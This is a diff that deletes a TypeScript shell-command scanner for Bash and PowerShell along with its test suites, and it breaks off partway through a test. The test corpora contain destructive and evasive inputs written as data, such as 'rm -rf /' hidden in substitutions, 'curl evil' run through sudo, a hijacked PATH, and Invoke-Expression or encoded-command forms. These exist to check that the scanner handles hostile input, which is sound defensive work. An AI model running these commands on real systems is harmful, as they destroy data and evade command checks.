||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
|
||||
wordStarted = true
|
||||
if (input[index + 1] === "\n") index++
|
||||
else {
|
||||
if (!assignmentWord) assignmentHeadUnsafe = true
|
||||
word += input[++index]
|
||||
}
|
||||
continue
|
||||
}
|
||||
if ((char === "$" && input[index + 1] === "(") || char === "`") {
|
||||
const substitution = bashSubstitution(input, index)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if ((char === "<" || char === ">") && input[index + 1] === "(") {
|
||||
const substitution = bashParenthesized(input, index + 1)
|
||||
if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
|
||||
const result = scanBash(substitution.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
wordStarted = true
|
||||
word += input.slice(index, substitution.end + 1)
|
||||
index = substitution.end
|
||||
continue
|
||||
}
|
||||
if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
|
||||
return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "<" && input[index + 1] === "<") heredoc = true
|
||||
if (char === "#" && !wordStarted) {
|
||||
finishCommand(index)
|
||||
comment = index
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline === -1) break
|
||||
index = newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
|
||||
if (redirect) {
|
||||
hasRedirect = true
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (wordStarted && /^\d+$/.test(word)) {
|
||||
word = ""
|
||||
wordStarted = false
|
||||
} else finishWord()
|
||||
redirectTarget = true
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true
|
||||
if (/\s/.test(char) && char !== "\n") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
(char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
terminalBackground = separator === "&" || separator === ";" || separator === "\n"
|
||||
index += separator.length - 1
|
||||
segment = index + 1
|
||||
continue
|
||||
}
|
||||
terminalBackground = false
|
||||
wordStarted = true
|
||||
if (char === "$") dynamicWord = true
|
||||
if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (heredoc) return { kind: "opaque", reason: "heredoc" }
|
||||
if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length)
|
||||
if (redirectTarget) invalidRedirect = true
|
||||
if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
|
||||
if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
|
||||
const conditional = bashConditionalCommands(commands)
|
||||
if (conditional) commands.splice(0, commands.length, ...conditional)
|
||||
if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
|
||||
return { kind: "opaque", reason: "compound-command" }
|
||||
if (
|
||||
commands.some((command) => /[$`]/.test(command.words[0] ?? "")) ||
|
||||
(dynamicWord && commands[0]?.words[0]?.includes("$"))
|
||||
)
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
if (commands.some((command) => command.words[0]?.startsWith("=")))
|
||||
return { kind: "opaque", reason: "dynamic-command-name" }
|
||||
return { kind: "scanned", commands: commands.concat(nestedCommands) }
|
||||
}
|
||||
|
||||
function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) {
|
||||
if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return
|
||||
const keywords = new Set(["if", "then", "elif", "else", "fi"])
|
||||
if (
|
||||
commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!))
|
||||
)
|
||||
return
|
||||
const normalized: Array<{ resource: string; words: string[] }> = []
|
||||
let phase: "condition" | "body" | "else" = "condition"
|
||||
let hasCommand = false
|
||||
let sawElse = false
|
||||
for (const [index, command] of commands.entries()) {
|
||||
const keyword = command.words[0]
|
||||
if (!keywords.has(keyword ?? "")) {
|
||||
normalized.push(command)
|
||||
hasCommand = true
|
||||
continue
|
||||
}
|
||||
const offset = command.resource.indexOf(keyword!) + keyword!.length
|
||||
const inline =
|
||||
command.words.length > 1
|
||||
? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) }
|
||||
: undefined
|
||||
if (index === 0) {
|
||||
if (inline) normalized.push(inline)
|
||||
hasCommand = Boolean(inline)
|
||||
continue
|
||||
}
|
||||
if (keyword === "then") {
|
||||
if (phase !== "condition" || !hasCommand) return
|
||||
phase = "body"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "elif") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "condition"
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "else") {
|
||||
if (phase !== "body" || !hasCommand || sawElse) return
|
||||
phase = "else"
|
||||
sawElse = true
|
||||
hasCommand = Boolean(inline)
|
||||
}
|
||||
if (keyword === "fi") {
|
||||
if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return
|
||||
continue
|
||||
}
|
||||
if (inline) normalized.push(inline)
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
function bashLeadingGroup(input: string) {
|
||||
const start = input.search(/\S/)
|
||||
if (start < 0) return
|
||||
if (input[start] === "{") {
|
||||
const group = bashBraced(input, start)
|
||||
if (!group) return
|
||||
const source = group.source.trim()
|
||||
if (!source.endsWith(";")) return
|
||||
return { source: source.slice(0, -1), end: group.end }
|
||||
}
|
||||
if (input[start] !== "(") return
|
||||
return bashParenthesized(input, start)
|
||||
}
|
||||
|
||||
function bashBraced(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashParenthesized(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "(" && quote !== "double") level++
|
||||
if (char !== ")" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function bashSubstitution(input: string, start: number) {
|
||||
if (input[start] === "`") {
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
if (input[index] === "\\") index++
|
||||
else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
|
||||
}
|
||||
return
|
||||
}
|
||||
if (input.slice(start, start + 3) === "$((") return
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 2; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`" && quote !== "double") {
|
||||
const nested = bashSubstitution(input, index)
|
||||
if (!nested) return
|
||||
index = nested.end
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === "$" && input[index + 1] === "(") {
|
||||
level++
|
||||
index++
|
||||
} else if (char === ")" && level > 1) level--
|
||||
continue
|
||||
}
|
||||
if (char === "(") level++
|
||||
if (char !== ")" || --level) continue
|
||||
return { source: input.slice(start + 2, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
export function scanPowerShell(input: string): Result {
|
||||
return scanPowerShellNested(input, 0)
|
||||
}
|
||||
|
||||
function scanPowerShellNested(input: string, depth: number): Result {
|
||||
if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH)
|
||||
return { kind: "opaque", reason: "invalid-structure" }
|
||||
const commands: Array<{ resource: string; words: string[] }> = []
|
||||
const nestedCommands: Array<{ resource: string; words: string[] }> = []
|
||||
const words: string[] = []
|
||||
let segment = 0
|
||||
let word = ""
|
||||
let started = false
|
||||
let quote: "single" | "double" | undefined
|
||||
let dynamic = false
|
||||
let invalid = false
|
||||
let redirectTarget = false
|
||||
let comment = false
|
||||
let separated = false
|
||||
let dangling = false
|
||||
let dynamicDirectory = false
|
||||
|
||||
const finishWord = () => {
|
||||
if (!started) return
|
||||
if (!redirectTarget) words.push(word)
|
||||
redirectTarget = false
|
||||
word = ""
|
||||
started = false
|
||||
}
|
||||
const finishCommand = (end: number, boundary = false) => {
|
||||
finishWord()
|
||||
const resource = input.slice(segment, end).trim()
|
||||
if (resource) commands.push({ resource, words: [...words] })
|
||||
else if (boundary && separated) invalid = true
|
||||
words.length = 0
|
||||
separated ||= Boolean(resource)
|
||||
}
|
||||
|
||||
for (let index = 0; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote) {
|
||||
started = true
|
||||
if (quote === "single" && char === "'" && input[index + 1] === "'") {
|
||||
word += "'"
|
||||
index++
|
||||
} else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
|
||||
else if (char === "`" && index + 1 < input.length) word += input[++index]
|
||||
else {
|
||||
if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
|
||||
word += char
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (char === "'" || char === '"') {
|
||||
quote = char === "'" ? "single" : "double"
|
||||
started = true
|
||||
continue
|
||||
}
|
||||
if (char === "`" && index + 1 < input.length) {
|
||||
if (words.length === 0) dynamic = true
|
||||
started = true
|
||||
if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
|
||||
else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
|
||||
else word += input[++index]
|
||||
continue
|
||||
}
|
||||
if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
|
||||
if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
|
||||
if (char === "#" && !started) {
|
||||
if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
|
||||
finishCommand(index)
|
||||
comment = true
|
||||
const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
|
||||
const newline = endings.length > 0 ? Math.min(...endings) : -1
|
||||
if (newline === -1) break
|
||||
comment = false
|
||||
index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
|
||||
segment = newline + 1
|
||||
continue
|
||||
}
|
||||
const redirect = powerShellRedirect(input, index)
|
||||
if (redirect) {
|
||||
finishWord()
|
||||
redirectTarget = !redirect.includes("&")
|
||||
index += redirect.length - 1
|
||||
continue
|
||||
}
|
||||
if (char === "{" && !started) {
|
||||
const block = powerShellBlock(input, index)
|
||||
if (!block) return { kind: "opaque", reason: "invalid-structure" }
|
||||
const result = scanPowerShellNested(block.source, depth + 1)
|
||||
if (result.kind === "opaque") return result
|
||||
nestedCommands.push(...result.commands)
|
||||
started = true
|
||||
word += input.slice(index, block.end + 1)
|
||||
index = block.end
|
||||
continue
|
||||
}
|
||||
if (char === "}") return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (
|
||||
(char === "&" || char === ".") &&
|
||||
!started &&
|
||||
words.length === 0 &&
|
||||
(/\s/.test(input[index + 1] ?? "") || !input[index + 1])
|
||||
)
|
||||
continue
|
||||
if ("@()".includes(char)) dynamic = true
|
||||
if (/\s/.test(char) && char !== "\n" && char !== "\r") {
|
||||
finishWord()
|
||||
continue
|
||||
}
|
||||
const next = input[index + 1]
|
||||
const separator =
|
||||
char === "\r" && next === "\n"
|
||||
? char + next
|
||||
: (char === "&" && next === "&") || (char === "|" && next === "|")
|
||||
? char + next
|
||||
: char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r"
|
||||
? char
|
||||
: undefined
|
||||
if (separator) {
|
||||
finishCommand(index, true)
|
||||
if (redirectTarget) invalid = true
|
||||
dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator)
|
||||
index += separator.length - 1
|
||||
segment = index + 1
|
||||
continue
|
||||
}
|
||||
started = true
|
||||
dangling = false
|
||||
word += char
|
||||
}
|
||||
|
||||
if (quote) return { kind: "opaque", reason: "unterminated-quote" }
|
||||
if (!comment) finishCommand(input.length)
|
||||
if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
|
||||
if (
|
||||
dynamic ||
|
||||
commands.some((command) => {
|
||||
const head = command.words[0] ?? ""
|
||||
if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
|
||||
const rawName = shellCommandName(head)
|
||||
const name = POWERSHELL_ALIASES[rawName] ?? rawName
|
||||
if (head.includes("$") || head.includes("@")) return true
|
||||
if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
|
||||
if (POWERSHELL_LOCATIONS.has(name ?? ""))
|
||||
return (dynamicDirectory =
|
||||
command.words.some(
|
||||
(word, index) =>
|
||||
index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
|
||||
) ||
|
||||
command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
|
||||
return false
|
||||
})
|
||||
)
|
||||
return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
|
||||
return { kind: "scanned", commands: commands.concat(nestedCommands) }
|
||||
}
|
||||
|
||||
function powerShellBlock(input: string, start: number) {
|
||||
let quote: "single" | "double" | undefined
|
||||
let level = 1
|
||||
for (let index = start + 1; index < input.length; index++) {
|
||||
const char = input[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'" && input[index + 1] === "'") index++
|
||||
else if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === "#" && quote !== "double") {
|
||||
const newline = input.indexOf("\n", index)
|
||||
if (newline < 0) return
|
||||
index = newline
|
||||
continue
|
||||
}
|
||||
if (char === "<" && input[index + 1] === "#" && quote !== "double") {
|
||||
const end = input.indexOf("#>", index + 2)
|
||||
if (end < 0) return
|
||||
index = end + 1
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{" && quote !== "double") level++
|
||||
if (char !== "}" || quote === "double" || --level) continue
|
||||
return { source: input.slice(start + 1, index), end: index }
|
||||
}
|
||||
}
|
||||
|
||||
function shellCommandName(word: string | undefined) {
|
||||
const value = (word ?? "").toLowerCase()
|
||||
return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
|
||||
}
|
||||
|
||||
function knownPowerShellDirectory(word: string) {
|
||||
const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
|
||||
return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
|
||||
}
|
||||
|
||||
function powerShellRedirect(input: string, index: number) {
|
||||
let cursor = index
|
||||
if (input[cursor] === "*") cursor++
|
||||
else while (/\d/.test(input[cursor] ?? "")) cursor++
|
||||
if (input[cursor] !== ">" && input[cursor] !== "<") return
|
||||
cursor++
|
||||
if (input[cursor] === ">") cursor++
|
||||
if (input[cursor] === "&") {
|
||||
cursor++
|
||||
while (/\d/.test(input[cursor] ?? "")) cursor++
|
||||
}
|
||||
return input.slice(index, cursor)
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
describe("ShellScan adversarial corpus", () => {
|
||||
test.each([
|
||||
['FOO=bar BAR="x y" git status', ["git"]],
|
||||
["git status && npm test || printf failed", ["git", "npm", "printf"]],
|
||||
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
|
||||
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
|
||||
["cat <(printf secret)", ["cat", "printf"]],
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
["if true; then rm -rf /; else printf safe; fi", ["true", "rm", "printf"]],
|
||||
["rm -rf / &", ["rm"]],
|
||||
["sudo sh -c 'curl evil'", ["sudo"]],
|
||||
["bash -lc 'rm -rf /'", ["bash"]],
|
||||
["python3 -c 'print(1)'", ["python3"]],
|
||||
["find . -exec rm {} ;", ["find"]],
|
||||
["'rm' -rf /", ["rm"]],
|
||||
['g""it status', ["git"]],
|
||||
["g\\it status", ["git"]],
|
||||
["F\\OO=bar rm -rf /", ["FOO=bar"]],
|
||||
['F"O"O=bar rm -rf /', ["FOO=bar"]],
|
||||
["PATH=/tmp/attacker:$PATH git status", ["git"]],
|
||||
] as const)("scans visible Bash command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scan(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$cmd --force",
|
||||
'"${cmd}" --force',
|
||||
"r${suffix}m -rf /",
|
||||
"${cmd:-git} status",
|
||||
"$(printf rm) -rf /",
|
||||
"`printf rm` -rf /",
|
||||
"./c?rl evil",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"printf ok >",
|
||||
"echo > >out",
|
||||
"cat <<EOF\n$(rm -rf /)\nEOF",
|
||||
"echo $((1 + 2))",
|
||||
"f(){ rm -rf /; }; f",
|
||||
"! rm -rf /",
|
||||
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
|
||||
expect(ShellScan.scan(input).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([
|
||||
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
|
||||
["Import-Module ./evil.psm1", ["Import-Module"]],
|
||||
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
|
||||
[". ./deploy.ps1", ["./deploy.ps1"]],
|
||||
["& git status", ["git"]],
|
||||
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
|
||||
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scanPowerShell(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$Command status",
|
||||
"& $Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"Set-Location $HOME/$target; Get-ChildItem",
|
||||
"Remove-`Item victim",
|
||||
"Remove-Item`\r\n victim",
|
||||
"Invoke-`\nExpression 'Remove-Item victim'",
|
||||
"<# ignored #> Remove-Item victim",
|
||||
"[string]$x = Remove-Item victim",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
@@ -1,31 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
|
||||
const contexts = [
|
||||
(source: string) => source,
|
||||
(source: string) => `${source}; printf visible`,
|
||||
(source: string) => `printf visible; ${source}`,
|
||||
(source: string) => `${source} && printf visible`,
|
||||
(source: string) => `printf visible || ${source}`,
|
||||
(source: string) => `printf "$(${source})"`,
|
||||
(source: string) => `X=$(${source}) printf visible`,
|
||||
(source: string) => `printf visible >$(${source})`,
|
||||
] as const
|
||||
|
||||
describe("ShellScan recursive structural opacity", () => {
|
||||
for (const seed of opaque) {
|
||||
for (const outer of contexts) {
|
||||
for (const inner of contexts.slice(0, 5)) {
|
||||
const source = outer(inner(seed))
|
||||
test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
describe("ShellScan quote suppression", () => {
|
||||
test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
|
||||
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
|
||||
})
|
||||
})
|
||||
@@ -1,182 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../src/index.js"
|
||||
|
||||
const staticCommands = [
|
||||
["git status", ["git", "status"]],
|
||||
["printf ok", ["printf", "ok"]],
|
||||
["curl example.com", ["curl", "example.com"]],
|
||||
] as const
|
||||
|
||||
describe("ShellScan generated properties", () => {
|
||||
test("decomposes every combination of static commands and separators", () => {
|
||||
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
|
||||
|
||||
for (const [left, leftWords] of staticCommands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of staticCommands) {
|
||||
expect(ShellScan.scan(left + separator + right)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
{ resource: right, words: [...rightWords] },
|
||||
],
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps quoted and escaped separators in arguments", () => {
|
||||
const literals = [";", "|", "&", "#", "<", ">"]
|
||||
const forms = literals.flatMap((literal) => [
|
||||
{ source: `'left${literal}right'`, word: `left${literal}right` },
|
||||
{ source: `"left${literal}right"`, word: `left${literal}right` },
|
||||
{ source: `left\\${literal}right`, word: `left${literal}right` },
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed when valid commands are mutated with malformed syntax", () => {
|
||||
const mutate = [
|
||||
(command: string) => `${command} "unterminated`,
|
||||
(command: string) => `${command} 'unterminated`,
|
||||
(command: string) => `${command} \\`,
|
||||
(command: string) => `${command} &&`,
|
||||
(command: string) => `| ${command}`,
|
||||
(command: string) => `${command} || || printf reached`,
|
||||
(command: string) => `${command} >`,
|
||||
(command: string) => `${command} > > output`,
|
||||
]
|
||||
|
||||
for (const [command] of staticCommands) {
|
||||
for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for generated dynamic command heads", () => {
|
||||
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
|
||||
const tails = ["status", "--version", "-rf /"]
|
||||
|
||||
for (const head of heads) {
|
||||
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
|
||||
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
|
||||
const wrapped = [
|
||||
"time git status",
|
||||
"command git status",
|
||||
"builtin printf ok",
|
||||
"exec git status",
|
||||
"env FOO=bar git status",
|
||||
"sudo git status",
|
||||
"nice git status",
|
||||
"nohup git status",
|
||||
"xargs rm",
|
||||
"source ./script.sh",
|
||||
". ./script.sh",
|
||||
"trap 'git status' EXIT",
|
||||
"eval 'git status'",
|
||||
"bash -c 'git status'",
|
||||
"/bin/sh ./script.sh",
|
||||
]
|
||||
|
||||
for (const prefix of prefixes) {
|
||||
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan generated PowerShell properties", () => {
|
||||
test("decomposes every combination of static commands and separators", () => {
|
||||
const commands = [
|
||||
["Get-ChildItem", ["Get-ChildItem"]],
|
||||
["Write-Output ok", ["Write-Output", "ok"]],
|
||||
["Get-Content input.txt", ["Get-Content", "input.txt"]],
|
||||
] as const
|
||||
const separators = ["; ", " | ", "\n"]
|
||||
|
||||
for (const [left, leftWords] of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of commands) {
|
||||
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
{ resource: right, words: [...rightWords] },
|
||||
],
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps quoted and escaped separators in arguments", () => {
|
||||
const literals = [";", "|", "&", "#", "<", ">"]
|
||||
const forms = literals.flatMap((literal) => [
|
||||
{ source: `'left${literal}right'`, word: `left${literal}right` },
|
||||
{ source: `"left${literal}right"`, word: `left${literal}right` },
|
||||
{ source: `left\`${literal}right`, word: `left${literal}right` },
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed when valid commands are mutated with malformed syntax", () => {
|
||||
const mutations = [
|
||||
'Write-Output ok "unterminated',
|
||||
"Write-Output ok 'unterminated",
|
||||
"Write-Output ok`",
|
||||
"Write-Output ok |",
|
||||
"Write-Output ok || || Write-Output reached",
|
||||
"Write-Output ok >",
|
||||
]
|
||||
|
||||
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("distinguishes dynamic heads from delegated execution", () => {
|
||||
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
|
||||
const delegated = [
|
||||
"& git status",
|
||||
". ./script.ps1",
|
||||
"Invoke-Expression 'git status'",
|
||||
"iex 'git status'",
|
||||
"Import-Module ./module.psm1",
|
||||
"./script.ps1 -Force",
|
||||
]
|
||||
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
|
||||
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
|
||||
|
||||
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
for (const shell of shells) {
|
||||
for (const flag of switches) {
|
||||
expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("scanned")
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for dynamic location changes but accepts known directory variables", () => {
|
||||
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
|
||||
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
|
||||
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
|
||||
|
||||
for (const location of locations) {
|
||||
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
|
||||
